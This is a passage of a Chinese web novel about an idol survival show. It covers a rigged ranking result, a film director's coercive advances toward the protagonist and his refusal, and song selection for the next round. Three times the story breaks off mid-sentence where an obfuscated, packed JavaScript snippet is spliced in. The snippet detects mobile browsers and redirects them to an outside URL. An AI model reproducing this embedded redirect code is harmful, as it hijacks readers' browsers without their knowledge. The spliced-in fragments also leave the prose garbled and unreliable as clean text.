说到底他们都不是好人,只是各自的界限不同。杨清自知傅寻砚的爆火让他提高了期望从而变得“贪”,而沈子卿虽然没有多生贪欲,却也没有提高底线。 如果节目开始亏本,不管是他还是沈子卿,不照样会牺牲这些可悲的练习生吗? “不是骗人的。”杨清叹了口气,“但你得根据实际情况去改变想法啊,现在按照我们的计划,节目一定能再上一步,大家赚的盆满钵满,按照你的坚持,下一次机会却不一定还会来。” “前者有什么代价呢?我觉得傅寻砚不会在乎这一次改票,叶莱是受益者更不会,所以你在为谁发言?” “为广大观众吗?沈子卿,你开始做慈善了?我们一直以来赚的不就是他们的钱吗?你有本事直接自己出钱给他们开vip啊。” 话题又兜了回来,沈子卿疲惫地撑住额头,还想再争辩,但杨清接到了投资人的电话。 “改票,那边说的。” ** 姜苏林有些惊讶于傅寻砚的敏锐,二十来岁的小伙子能有这个脑子可了不得。 “我们寻宝很谦虚呢。”姜苏林笑着。 “不过傅寻砚练习生启发了我,在座的大家,以及屏幕前的观众,我们都是自己人生的主角呀,就算有波折、有难过,请再坚持一下。” “就好像游戏打怪一样,出现困难再去征服,似乎也是一种精彩而可敬的人生呢。” [姜老师说得对!] [感觉还是在转移话题,他的话和寻宝的不是一个意思吧?] [嘁你的人生一帆风顺当然会说这种屁话,谁会希望遇到挫折啊……] 导播又在疯狂挥手示意姜苏林堵住傅寻砚的声音不要让他多说什么,姜苏林舔了舔干涸的唇,成熟的眼睛看向两人。 “我们要公布最后的结果了,请两人站到台上吧。” 在金字塔前方的一排,之前都是十人十人站,现在只有两个,他们不能距离彼此太远,傅寻砚移动两步,离叶莱只有一臂的距离。 叶莱从刚才开始就没说话,好像在想什么心事。 姜苏林拿着一个密封的信封,纤长的手指将之缓缓拆开,取出里边的硬卡片。 “《新世纪偶像》第一次排名,第一名共获得532,2032票,第二名仅差1782票,共获得532,0250票。” “我去!”舞台上的刘永善克制不住惊呼出声,“五百多万票?是我票数的十倍啊天哪。” “简直是壕无人性的虐杀……”其他练习生捂住脸,第59名的钟鸣嘉,也才8万多票,真是连零头都没有…… 哪怕早就知道选秀节目的残酷,当差距明明白白摆放在面前,还是有许多人陷入完全的失语。 第一名是…… 姜苏林拖了长音。 叶莱抬眸,被灯光刺到了双目,那层遮住思绪的阴翳才终于慢慢被清干净。 是他。 “恭喜叶莱!” 不对,这一切都不对。 然而大雪和松树的气息立刻传来,不算顺滑的面料贴到了叶莱的脖子,他能感觉到底下蓬勃跳动的血管,还有热意…… 那人将他紧紧抱住,耳畔传来呢喃。 “恭喜。” 不要恭喜我。 不,真的,不要恭喜我。 叶莱的眼睛立刻陷入酸涩,涨得微红,上面还有好几人跑下来,将他们两人一起拥抱住。 他知道是哪些。 他们都是傅寻砚的朋友。 “叶莱!别出声!”这是傅寻砚的声音,不像他平时说话那样平淡,第一次被填充了一种急迫。 “对,别说话。”这是达裴。 “别哭,等会正常一点发言。”尹星蘅。 “你不能……别冲动!”旻海。 姜苏林无法听见他们在说什么,只能看见那几个高位练习生抱在了一起,感情很好的样子。可不知道为什么,他仍然觉得有些不对劲。 “几位,需要腾个地方给第一和第二名发言了哦。” 潮水般退开,那几人依旧以一种摄像头捕捉不到的担忧眼神在看叶莱。 “那么我们先请第二名,傅寻砚练习生发言。” 青年走上高台。 他站在那里,高挑纤瘦,深蓝色的西装穿在他身上实在好看,黄金比例的身材恰到好处,肩宽腰细腿长,有青年的瘦削,却比单薄多了厚重。 他的眼眸依旧习惯性低垂,略微狭长的眼型让他看起来不那么好接近,矜贵的长相往往让人忘记他的悲惨身世。 薄唇轻启,却意外地先泄露了难言的笑意。很难从那气声中解读出每一层情感,但至少不是承载着开心的那种。 他将话筒举到嘴边,缓缓抬眸,看向正在工作的摄像机。 [我死了,我真的死了] [无语,真的太好看了,怎么会有人长成这个样子啊] [怎么说呢,就是很想亲懂吧,这种人之常情是能理解的吧?] [……我现在只心疼我寻宝,这个票数绝对是假的] [是啊,明明阿傅洛狄忒小组做过统计,我们的票数不算散票都有五百五十万,怎么可能低于叶莱???] [节目组玩阴的真是有一手,等着吧,寻家一定会讨回公道的!] [叶子冲冲冲,把那些酸鸡踩在脚底下!] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297290|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [神经,叶子票数就是比你家高怎么了,都是叶妈一票票投出来的好吧,我们粉丝团的统计是五百四十万,散票比你们多也不是不能吧?干嘛上来就质疑?] [醒醒吧叶妈们,你还以为是赛前吗?节目开播后傅寻砚的热度直接吊打你家,你们是怎么觉得散票会超的?] “我突然感觉这一切很陌生。” 台上的人缓缓道来,但让人摸不着头脑——这一届的练习生都很奇怪,前二十充满了谜语人。 “明明大家的脸那么熟悉,但很多事情都变得不一样了,充满了新变化。” “连我自己也是。一开始我的愿望很简单,就是和江瀚,我的兄弟,一起安稳走下去而已。但不知道什么时候,我也开始有了野心,我想出道,想和所有努力的人,一起走下去。” “排名重要吗?很重要,票数很重要,我无法否认这一点。这一次拿到第二,很感谢所有支持我的人。同时,我知道也有很多希望我拿到第一的人正在难过。” “但,我希望所有担心我的人放心,排名、票数,它们不会影响我的态度和我的想法,我已经不会再因为这些而质疑自己。” 台上的人又勾了勾唇,如春花初绽,充满了难得的暖意。 “这样看来我真的成长了很多,嗯,我在夸我自己。” “我的努力,我所完成的舞台,都是真实存在的、不受任何其他因素影响的结果,我肯定自己创造的美好,也因此不感到任何失落。” 傅寻砚深呼吸一口,眼神变得坚定,“当然,和其他练习生一样,我会继续努力,这绝不是我能达到的最高点。” “我的舞台,会向大家证明这一点。” 一席话说完,很多练习生都受到了触动。 当然,大多数其实是在反省,反省自己的得票真的对得起刚刚一公的舞台吗? 傅寻砚的一公训练情况所有人都知道,他几乎付出了200%的努力,一周下来睡眠长期不足,包揽了组内所有工作,且最后贡献了最精彩的一个舞台。 他们呢? 他们真的尽力了吗?如果他们站在傅寻砚的位置,能够问心无愧吗? 除了沉默的大多数,高台上爆发了一场嚎啕大哭。 “呜呜呜老傅我好感动~~兄弟我、我们一定一起加油!我会努力跟上你的!我不会辜负你为我做的一切!” 是江瀚,哭得稀里哗啦。 可傅寻砚背对着他,却觉得很悲伤。因为他无法确定,江瀚留在这里是否是好事。 话筒交给了叶莱。 他立在光晕中央,浅褐色发梢被照得泛起湖泊涟漪的淡金,肤色像春夜未融的薄雪,透出瓷器般的微光。眉骨投下的阴影里,琥珀色眼瞳浮动着星芒碎屑,让人想起沾着晨露的柳叶在风中轻颤时的弧度。 他与伯弥有着很大的区别,20岁的叶莱已经有三年多的“工龄”,见过大世面,比起作品只有网剧的练习生伯弥,他的面容和气质都更成熟。 不止一次有粉丝讽刺伯弥就是小叶莱。 但在傅寻砚看来,这两人没有任何相似之处。伯弥是看似可爱但实则将人一步步带入寒冬的初雪,叶莱却是三月料峭春风里温柔发芽的新柳。 他站在灯光下,像被月光浸透,连指节弯曲的线条都像被春风反复摩挲过般温润。 聚光灯便在他眼尾折出细小的虹彩,像是有人往初融的溪水里撒了把水晶糖。 “我……”他有些恍惚,但良好的职业素养终于压倒了瞬时而起的感性,让他找回了自己的声音。 “很感谢粉丝。” “也很感谢所有队友,当然,还有在座所有的练习生。我们虽然只相识不到一个月,但这一段旅程我不会遗忘。” “大家在一起录制的每个日日夜夜,飘荡在练习室里的笑声和吵闹,我都不会忘记。” “今天,不管是依旧留在基地的大家,还是出去寻找更多可能的未来的大家,我们还会有机会见面的。” “希望所有人,都在追寻梦想的道路上平安顺遂、有所收获。” 38.第三十八日 第60位的悬念虽然吸引人,但热度完全不敌“傅寻砚落败摘得第二”高,所以出乎预料完全被忽视了。 竞争第60名的四位对此有些不忿,不过鉴于他们都是糊咖,再多的愤怒也只能自己吞下。 最终蓝翼周以30票的优势成功入选,成为了最后一个留在《新世纪》的选手。 周四,傅寻砚再次需要走出基地,去赴那位导演的约。 上次拍杂志的事情虽然符合节目组的规定,但有部分粉丝进行了抗议,认为这样的拍摄是场外因素,会干扰比赛的结果。 这些粉丝并不是针对傅寻砚,因为他有没有这个拍摄都在前三,真正感到着急的是排名在中上游的练习生的粉丝。 他们的变数太大了,所以粉丝们一致认为要禁止这类场外因素。 节目组妥协了,答应减少练习生的外务活动,并且要求即便有外务,也不能在比赛期间放出。比如拍摄了杂志,必须到赛后才能公布讯息并发售。 但即便没有这条新规,能有外务的练习生也少得可怜。这相对空闲的一周,也只有叶莱、傅寻砚、Kenny和达裴需要外出。 傅寻砚本来也不是非得去赴约,但欧瑞已经做了安排,他们告诉傅寻砚,这位导演刚刚在国外电影节大放异彩,即便不是为了个人资源,欧瑞也希望傅寻砚能维持好与导演的关系,为公司带来新的人脉。 傅寻砚只能答应。 依旧是李鹏程来接他,将他接到欧瑞的美容室更换了着装,特意清洗掉所有妆容,影视剧导演需要一张原始纯朴的脸来观察可塑性。 傅寻砚任由他们摆弄。 这个季节天气已经不冷,造型师给了白色衬衫和黑色西装裤,都是经典款式,力保正式不出错。 出发前丛赫打来了电话。 “这次会面你放松就好,说起来这个导演也不是我朋友,只是通过另一个认识的导演介绍过来的,我听他对你很欣赏,才同意牵线。” “如果不合适,你直接拒绝,不用照顾我面子。” “怎么突然这样说?”傅寻砚微微蹙起眉。 如果没出什么意外,丛赫应该不会特意打电话来说这个。 丛赫静默了两秒,有些咬牙切齿,“我刚刚才知道他MD是个同。” 同并不可怕,丛赫很尊重每个人的性取向,他的好友里不是没有同性恋。 但问题是,这个导演所说的“欣赏”到底是出于对可塑之才的欣赏,还是想要染指的欣赏,就值得一问了。 如果是后者,却不和他这个中间人说明白,丛赫觉得遭到了恶意的利用。 “我知道了,我会处理好的。”傅寻砚握紧了手机,半晌平静回答。 那位导演约的是个私房菜餐馆,这已经足够让人不安。尽管规格不错,但导演身边有人把李鹏程支走了,李鹏程离开前递给傅寻砚一个眼色。 他相信傅寻砚会做出最好的决定。 帅气的青年站在门口,身上不像普通练习生有太多的饰品,只取了一条项链做搭配。他的神情平静,像是根本意识不到自己将面对什么。 可正是因为如此,才格外怪异。 他是疏离的雨幕,间隔开这个世界的安静与嘈杂,在灯光朝向的一侧有车水马龙,而在雨幕之后只有闷热潮湿的安静。 经历过一次总要有所成长,要不如何对得起曾经的压抑和伤痛? 嘎吱—— “你好。” 门内站着的人转过身来,笑意盈盈。 “我是顾廷川,很高兴认识你。” “傅寻砚。” 傅寻砚淡淡回答,他不太在乎顾廷川手里的资源,当没有利益牵制时,人就是会变得如此有底气。 顾廷川不介意傅寻砚的冷淡,他温文尔雅地请傅寻砚坐下,手上依旧忙碌着沏茶。 背对着他的这个年轻导演很有才华,他是华裔,上一代早就移民国外,也是著名的文艺从业者。 家庭氛围的熏陶加上天资聪颖,才让这位导演年仅三十岁就摘得了国外电影节的一座新人导演奖杯。 他个头中等,长相周正,气质儒雅,所以在常人眼里已经是个非常不错的青年才俊。 “请喝茶。” “好的。” 虽然应了声,但傅寻砚并不真的喝,手在杯子边缘摩挲了几下。 这杯茶不是当着他面沏的,无论如何他也不会入口。 “很感谢今天顾导的约见,我听丛哥谈起过您,先要恭喜您在电影节上的大放异彩了,只可惜我还在基地,没办法欣赏您的影片。” 顾廷川的眼神本在那杯茶上,但随着傅寻砚的一套话下来,注意力被转移了。 他笑得很随意,“没关系,我之后可以把碟片寄给你一份。” “对了,今天冒昧请你出来,希望你能原谅。”顾廷川饮下自己的茶,手指在桌面轻轻点了点。 “我在国外时正好刷到你的舞台,我本就非常喜欢《风啊,又是一夜雨》这首歌,你的改编赋予了它新生命,让我很感动。” “而且你在舞台上的表现很棒。”顾廷川的眼神不再那么规矩,从傅寻砚的头顶往下一路看去,在他的领口停留了很久。 顾廷川很迷恋人的锁骨位置,他过去的恋人无一不是锁骨精致的主。 只是见面五分钟,顾廷川清楚地感受到了这个青年身上那种吸引人的魅力,比屏幕上看着更甚。 像是一个黑洞,一个漩涡,充满神秘。 如果一定要形容,他现在就像是夏季暴雨,闷热、潮湿,天空一片阴霾,云朵低得吓人。翠绿的植物被蒙上阴翳,他就在这个时刻毫不客气地落下来,强势打在人的心尖,带来令人着迷的痛感。 这是顾廷川所感知到的傅寻砚。 他当然知道傅寻砚不止这一种气质,毕竟那个节目已经完全呈现过了。 像岩石缝里盛开的红花的他,像水晶里滴落的清澈泉水的他,像春日枝头偷偷生长的新叶的他,像夜幕里独自闪烁的星星的他…… 但在这其中,安静是他的底色,安静到游离在人群之外,在世界之外。 让人想要一把攥住。 顾廷川为这种底色晕眩。这就是他一直在找寻的感觉啊,是他的电影,他的人生,他的世界里贪欲的集合。 顾廷川没说话,但眼神灼热不可忽视。 很冒犯。 但也让傅寻砚完全占据了上风。 现在是顾廷川对他有所求,而不是反过来。 于是他皱起眉,说话不客气起来,“谢谢导演的夸赞,不过我还是想知道您找我出来是为了什么。” “毕竟您知道的,节目管得比较紧,我恐怕得赶回去。” 顾廷川感受到了傅寻砚的随意,瞬间玩味起来,他挑了挑眉,不能否认自己还挺吃这套——当然,对象得是傅寻砚才行。以前他可从未容忍有人这样对他,傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302412|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢而残忍。 顾廷川去到门口,从桌子上拿来了一个纸袋,上面没有商标,只在右下角绘了一朵花。 “这个给你,打开看看。” 傅寻砚没有去拿,“为什么要给我这个?” “当然是送给你。” “抬爱了,初次见面让导演破费实在太不好意思,还是请您收回去。” 傅寻砚的姿态很强硬。这个标志他在上一周目见过,公司的大老板给客户也送过,价值根据具体物件不等,但至少四位数以上。 顾廷川抵了抵腮,温和的表情从脸上褪下。他看着对面那个依旧没有表情的青年,半晌笑了。 “你该收下的,这可不是一份简单的礼物。” “如果您要强调它的价值,那我想我很清楚,正是因为知道才请您收回,毕竟无功不受禄。” “不止哦。”顾廷川再次将礼物朝傅寻砚这里推了推,“还有电影的邀约。” “丛赫和你说过吧,我的新电影。” “总投资2个亿,定档明年开春,选角即将开始,你的节目结束后正好可以开拍。” “初次正式露面就是2个亿成本大制作的电影的话,我想对你今后事业也很有帮助?” “千万别告诉我你只打算当个偶像,对跨界毫无兴趣,如果你要这么说就太单纯了,尤其是在国内的产业结构下,偶像是个短命的职业不是吗?” 顾廷川废话还真多……傅寻砚感觉自己的意识早就离开身体在空中漂浮,以避免这些“教导”对耳朵的伤害。 冷淡的青年现在变得锋利无比,不像节目上那么沉稳,他好像一株带刺的玫瑰,现在蓄势待发。 他的眼睛扫视过来,因为个头高大,即便坐着也有些俯视的意思。 “2个亿的投资,哇哦,很大的制作。” 顾廷川笑了。 “但我恐怕不行。” 顾廷川愣住,随即脸上有了些被拒绝后的薄红。 然而那个姿容昳丽的青年还在自顾自说,“我只是一个普普通通的小流量而已,背后没资本,演技也很生涩,我加入您的电影,几乎就是在破坏电影吧?” 顾廷川深呼吸一口气,他本来就不是个有耐心的人,不过因为傅寻砚的外表符合他的口味而好言好语了几分,没想到这小子那么不识趣。 “这么说,你是拒绝了?拒绝我的电影,也拒绝我?” 傅寻砚也没有想把事情弄那么僵,但一通对话下来他已经摸透了顾廷川的个性,这件事已经没什么回转余地。 他要保全自己,就得得罪顾廷川。 “好啊,好啊。”顾廷川压抑着怒火和羞恼。 “你的经纪人和公司没教过你是吗?不知道在这个圈子怎么混?呵,不过一个农村出来的穷小子,你以为你能走多远?” 怎么开始人生攻击了?傅寻砚蹙着眉看着对方发疯,并不知道自己此刻的平静更让人感到被羞辱。 顾廷川毕竟不是普通人,他隐忍地笑了两声,靠在了椅背上,随手掏出烟点燃。 “看来蝇头小利无法吸引你,那我们换个方式来。” “我不得不提醒你,在是个导演之前,我还是个商人。” “我想你也很清楚,在娱乐圈毁掉一个人有太多种方式了。” 是啊,傅寻砚在内心点头。 看来这哥们儿得不到就毁掉,是准备要给他造谣了。 真有意思…… 39.第三十九日 夜凉如水。 黑色的保姆车停在寂静的地下停车场,火光骤然亮起,只是一星子,很快便黯淡下去,如同被飞蛾遮盖住。 孤独的绿色,油漆的线条在白墙上蔓延到远处,带来地面的刺鼻味道。 黑发倒在皮革靠枕上,那双眼睛淡漠如被灼烧着翅膀的蝴蝶,没有痛感,只留给镜头最后的稠靡。 李鹏程在车外熄灭了烟,手里的屏幕光线也暗下去。 随后是窸窸窣窣的上车声,李鹏程的皮衣质量很差,因为最近他手里紧,老婆舍不得装点门面的好衣服被随便糟蹋,总是嘱托他先穿便宜的旧衣服。 很长的一声叹息,如果后面坐着的不是傅寻砚,那么听来就是死刑的宣判。 “所以欧瑞的意思也是服软?” 李鹏程不语,从后视镜看那个将头伸出车外的青年。他有一颗坚韧的心,但夜风中看起来格外忧郁脆弱。 李鹏程低声,“没有那么绝对,只是建议你稳住他。顾廷川挺会瞒的,在他自爆前我们都没想到他在国内那么有人脉。” 呵。傅寻砚的手指插入发丝,黑与白的反差眩晕人的视线。 李鹏程启动了车子,轮胎碾压过地面留下痕迹,压过灰尘和幼小的虫子的尸体,加快它们被分解的进程。 “我不会同意的。” 他的嗓音很多变,唯独那种浸润在最底层的疏离不变,由于情绪的糟糕,冷淡感取代了清亮,少许低沉像香水的后调散发出来。 “我是有野心,但不会愿意付出这样的代价。” 李鹏程不理解,琢磨了一下力争以最缓和的语气来和傅寻砚谈论这件事。 “但是……你得明白这个圈子的规则,太过刚硬就易折,混了那么久我就没看见一个不同流合污的有好下场。” “这件事本质上不违法不犯罪,甚至不伤害他人,只是……要你自己付出一点点代价而已。” “这里面操作空间也很多嘛,也不是非要你和他有什么深入关系,你就答应他,玩几个月,等他腻了自然会放手找新人。” “他得到了快乐你得到了资源,有什么不好呢?你现在拒绝,还是太年轻……” “我不是来请你对我说教的,李哥。”傅寻砚第一次在李鹏程面前展露自己的棱角,他的视线冰凉,比窗外的夜色更甚。 “如果是一个月前,你说这些我会勉强自己听着,哪怕想呕吐也不会阻止你,但现在不一样了不是吗?你需要我为你赚钱,那么你最好就不要试图踩踏我的底线。” 上周目李鹏程对傅寻砚和江瀚说不上尽心,虽然能力很强,但他实在算不是什么好人,他是个利益至上者。 因为这一点,所以傅寻砚和江瀚曾经被牺牲;但也因为这一点,傅寻砚这辈子很好拿捏他。 所以他带着他出走,愿意让他继续担任经纪人。 傅寻砚盯着驾驶座上的人,“赚钱的方式很多,少他顾廷川的资源难道我就会穷困潦倒吗?既然没有走到山穷水尽的一步,我并不想以自己的自由和快乐做交换。” “当面前有很多路的时候,我不会非要选看起来更亮的那条而让自己受泥泞折磨;我会选那些看不清远方但至少能让我现在走得快乐的路。” 李鹏程想骂他,想把他骂醒,可一看到那张脸,他又说不出话来了。 那个青年的脸,总是有那样一种魔力,当与他对峙时,人们不忍心说任何重话。 瓷白色在灯光的映照下像是玉器,轻触即碎。懂行的人会选择远观,只有冒进者才会想要亵玩。 可李鹏程的理智拽着他,不让他为了什么单纯和正直,去牺牲唾手可及的富贵。 “好啊。”李鹏程压抑着怒火,“那你说说看,怎么应对顾廷川的责难?他最后的话不是明摆着不会善了吗?” “ok,我理解你不贪图他的资源,但你能接受因此遭到刁难吗?甚至葬送整个职业生涯?” 诱惑可以抵抗,因为它只是让你得不到还未得到的;但威胁不一样,它会令你失去现有的。 这就是李鹏程的疑虑,同时他也不认为傅寻砚已经做到了面对后者的准备,他认为傅寻砚只是一腔热血冲昏了头脑。 “李哥。” 青年的眸中露出些许疑惑,单纯无辜,似乎没有经历刚刚的分歧,落在李鹏程身上的视线轻如月光。 “为什么呢?” 什么为什么? “你在考虑我的事情时,似乎突然失去了你所应当具备的能力。” “在我坚决不同意答应顾廷川后,你应该为我提供解决方案不是吗?为什么你却完全不考虑这个前提,还是一味劝我接受?” 李鹏程如遭重击,下意识踩了刹车。 保姆车突兀地停在了空旷无人的道路中央,紧急刹车带来的惯性让两人差点撞上前面。 李鹏程的手在方向盘上抓得用力,青筋鼓起,整个人睁着眼,微微张开了嘴,像是突然被点醒。 寂寞的车暂停在路上,任由月光照耀。 好半晌,李鹏程低声,“你说的对。” 车辆再度启动,李鹏程却没再说屁话。 他正在反思。 在宝音的权力斗争中,他其实濒临溃败,是傅寻砚创造了机会带着他离开,避免了那个显而易见的失败结局。 傅寻砚的价值让他成功对接到了欧瑞,可宝音事件到底给他留下了创伤,李鹏程变得有些怯懦,他的方案不再如以前那么直进,而是显得保守。 可是傅寻砚真的还不能给他底气吗? 不,傅寻砚的表现给足了他底气,作为一个合格的经纪人,他不该囿于失败而畏手畏脚。 李鹏程想要道歉,但他不习惯说那种话,所以张了张嘴还是闭上。 “联系一下林女士吧,我毕竟是大使,如果爆出绯闻对他们也不好。” “他们会同意帮忙吗?” 傅寻砚回想起那天林薇薇对待抄袭事件的强硬,坚定地回答了会。 “也向丛哥透露一下吧,如果林薇薇那边不能帮忙的话。” 他想,其实自己有时候也是个非常势利的人,在赴约前,就已经想好了退路。 轻嗤。 ** 傅寻砚将偷渡的零食分给了宿舍的人,明天就要录制二公选曲,几人想吃又不敢吃,生怕第二天水肿,只好无奈地将东西全部藏起来。 “你还好吗?这一周感觉你身上发生了好多事。”达裴擦着头发上的水滴,坐到了傅寻砚身边。 “本来以为你是因为第二才不开心,但今晚你出去一趟,我感觉你身上的低气压更重了,所以发生了什么?需要我们帮忙吗?” 傅寻砚偏头,看着身边达裴锋利的眉骨和明亮的眼神。 “干嘛这样看着我,被我感动了啊?”达裴一把揽住身边的肩膀,才骤然发觉他的瘦削。 尽管傅寻砚有很好看的薄肌,但不妨碍他其他地方骨头突出。 傅寻砚仍然不够成熟。 他也就活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307834|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了27岁,尽管发生在他身上的事情已经远远超出一般27岁的人所拥有的阅历,但他依旧“死”在27岁。 没有经历过婚姻、家庭,没有中年危机的煎熬,没有感受过老年的孤独。 失去亲人的苦痛也来得过早,他还未能从中品出足够的人生哲学。 他一直是那只穿行在森林中的蝴蝶,作为颓靡的一个证明与构成,自身却并不衰败。 男孩的眼睫轻颤,勾勒出脆弱的弧度。 他想要倾诉,巨大的秘密只有自己享有的感觉并不舒服。 预知未来发生的事情也很无奈,比如他明知他们的表演无法出圈,如果他有能力改变,他当然想要大团圆式HE,为每一个好友都创造出精彩的舞台。 但他不能,他还很不足。 “咔嚓” 傅寻砚被惊吓,抬眸。 达裴不知从哪里摸出了拍立得,已经开始兴奋地等着照片出来。 “你根本不知道你刚刚的脸多好看!哇这张是达裴专属制作小卡,等你出道不得炒到四位数啊!” “啊啊啊啊达裴哥你作弊,这个商机你都不和我们分享!”沈迟偷听好一会儿,发现气氛突变,立刻选择加入,一把扑过来要抢达裴手里的照片。 “让我看看让我看看,我要看看傅哥超绝脸蛋!” 结果,一只更白皙的手从中穿过,准确抢走了达裴举的高高的照片。不怎么和他们玩闹的白闻及推了推眼镜,端详了一下,然后又看看已经恢复正常的傅寻砚。 “是很好看,建议扫描成电子版多印两张。” 傅寻砚拿过来,模糊的相片中青年眉眼低垂,白色衬衫领口松垮地滑落至锁骨,衣褶在腰间堆叠出慵懒的弧度。 他的下颌线浸在柔光里,睫毛投下的阴影恰似工笔描摹的墨痕, 很有故事感。 室内吵吵闹闹,达裴好像忘记了刚刚自己的提问,但除了傅寻砚外,三人不断传递的目光分明证明了这件事未被遗忘。 只是有人快速品读出傅寻砚的难言,而给了一个暂时逃避的台阶。 这就是他们的温柔。 傅寻砚出了门,一小时后带着健身房运动后的痕迹回到了宿舍,迅速完成了洗漱。 等深夜,大家都在床上躺下,摄像头已经停止工作,他终于在寂静中出声。 “其实,是因为……” “雾草!”头顶一声巨响,达裴一个骨碌坐直了身体,沈迟迅速去开了灯,白闻及也重新戴上眼镜。 傅寻砚挡住突然照射在脸上的灯光,哭笑不得。就知道他们反应会很大,才犹豫要不要说。 “这也太恶心了吧!”沈迟愤愤,“那哥你打算怎么办?” 白闻及抱着手臂,面容比任何一个时刻都冷冽,“经纪人和公司有逼你做什么吗?” “其实已经处理得差不多了。”傅寻砚并未隐瞒他和丛赫的私交,“暂时安排就是这样,打算拜托丛哥和林设计师。” “公司在知道我坚决不同意后,应该也会对接节目组拿出下一步方案。” 三人沉默了,他们也想帮忙,但没有一个人能帮得上。 沈迟家境不错,但父母只是普通的医疗领域工作者。白闻及家倒是在娱乐圈有点名气,但属于小众圈子,这点影响帮不上什么忙。 至于达裴…… 二十多岁的青年,没有小说里那样杜撰的不正常的玄幻光环,都是如此单薄无力,除了一腔真心,他们缺乏对抗世界的能量。 40.第四十日 “寻砚,你打算选什么歌呀!”刘永善笑嘻嘻地拍了拍傅寻砚的肩膀。 他是这个节目里的开心果,致力于做节目效果,和204房间关系也不错,虽然和傅寻砚没太多交集,也经常在走廊遇见时交谈。 傅寻砚没有隐瞒,“我打算选dance。” 嗯?刘永善先是一惊,“对哦,寻砚你初舞台和主题曲跳舞也很好,主要是你唱歌太好听,我一直都以为你是vocal定位了。” 然后他突然退后,以一种狐疑的视线打量傅寻砚,“不会你rap也会吧?全能?” 傅寻砚摇头,“我不会rap,没有尝试过。” “哇。”刘永善夸张地笑,“就怕你们这种天才说没尝试过,因为到时候一尝试肯定很惊艳。” “没有的事。”傅寻砚隐约觉得自己可能真的没有rap的实力,哪怕他b-box做得很好。 很快节目拍摄就开始了,他们中止了谈话。 旻海再次抢在达裴前招呼傅寻砚过来坐在他身边,揽住了傅寻砚的肩。 另一边的尹星蘅很幽怨地盯着傅寻砚,“呜呜呜说好的二公一定一起呢?” 旻海打趣,“寻宝哪有答应你,明明是你自己想要吧,那不然你也来dance好了。” 尹星蘅猛烈摇头,“别害兄弟求你了,二公的舞蹈肯定很激烈,我会死的!” 尹星蘅的猜测没有错。 如果节目组没有更换歌曲,那么《新世纪》二公的舞蹈曲目都是顶级难度。 《waterfall》,糅杂了爵士与流行,身体律动难度一绝,虽然跳起来很好看,但要做到那个程度,哪怕是旻海也得勤加练习。 《月光》,一首国内当红炸子鸡组合的大热歌曲,古风路线,舒缓的旋律加上柔美的律动,难点在动线复杂。 《鸦雀无声》,是一部反诈电影的主题曲,充满真实与荒诞的对抗,在上一周目这个舞台的设计偏跳演,演戏占了重头,造成了难度的升级。 《黑客联盟与情报局》,这是一首实验曲目,很有特色,但以傅寻砚自己的审美来看并不好听,编舞更是不伦不类。 以及,《赛博之恋》——傅寻砚本次将选择的歌曲。 上一周目傅寻砚在这里的排名很低。因为初舞台被一剪没,主题曲发挥失常,一公被拽入了《一首情歌》尹星蘅的对立组,当了一个只有5s唱段的背景。 此时他的排名只有32名,粉丝投票给他纯看颜值。 他选择了《鸦雀无声》,尽力做好了自己的部分,但奈何队友配合太烂,成功扑掉。 傅寻砚很清楚哪些歌曲在结果上是取得了成功的,比如有旻海在的《waterfall》,因国风舞蹈而出圈的《月光》。 但他并不想选择。 傅寻砚回来的目的是改变一些事情,而不是靠着知道既定的成功而跻身其中,他会选择他喜欢的,然后把他所喜欢的东西打造出新的可能。 《赛博之恋》,一首上次无感,而这一次被深深吸引的曲目。 此刻场内安静下来,练习生们面对着前方一块白板茫然无措。 姜苏林今天有行程没来,换成了蒋翩翩主持。 蒋翩翩带着甜甜的笑容开始介绍规则,从第一名开始,他们将陆续走入后面的小房间选择歌曲。 没有商量的余地,如果想和朋友选中同一首歌,只能靠心灵感应。 他们能提前确认大类,是选vocal、dance还是rap,但vocal底下四首歌,dance底下五首歌,rap下也有三首歌,即便约定了一起选dance,可能也无法在同一首。 因为没人知道歌是哪些,也无法知道前一个进入的人选了什么。 叶莱应声站起,他遥遥看向傅寻砚,眼神里多了坚定。 “你会选择dance对吗?” 哇哦,底下练习生们又开始起哄。毕竟这相当于班里的第一第二名,这种充满宿命感的对抗怎么会不引人注目呢? 看着叶莱认真的神情,傅寻砚突然又有些想逗他。 “你猜?” 叶莱噎住,台上的蒋翩翩也用手卡遮着咧到耳根的嘴,轻呼磕到了。 叶莱鼓起了腮帮,没有再问其他任何一个人想选什么,飞快闪身进了小房间。 “dance对吧?” 快轮到傅寻砚了,旻海也着急拉着他,旁边的尹星蘅还在摇着傅寻砚的肩膀念叨vocal。 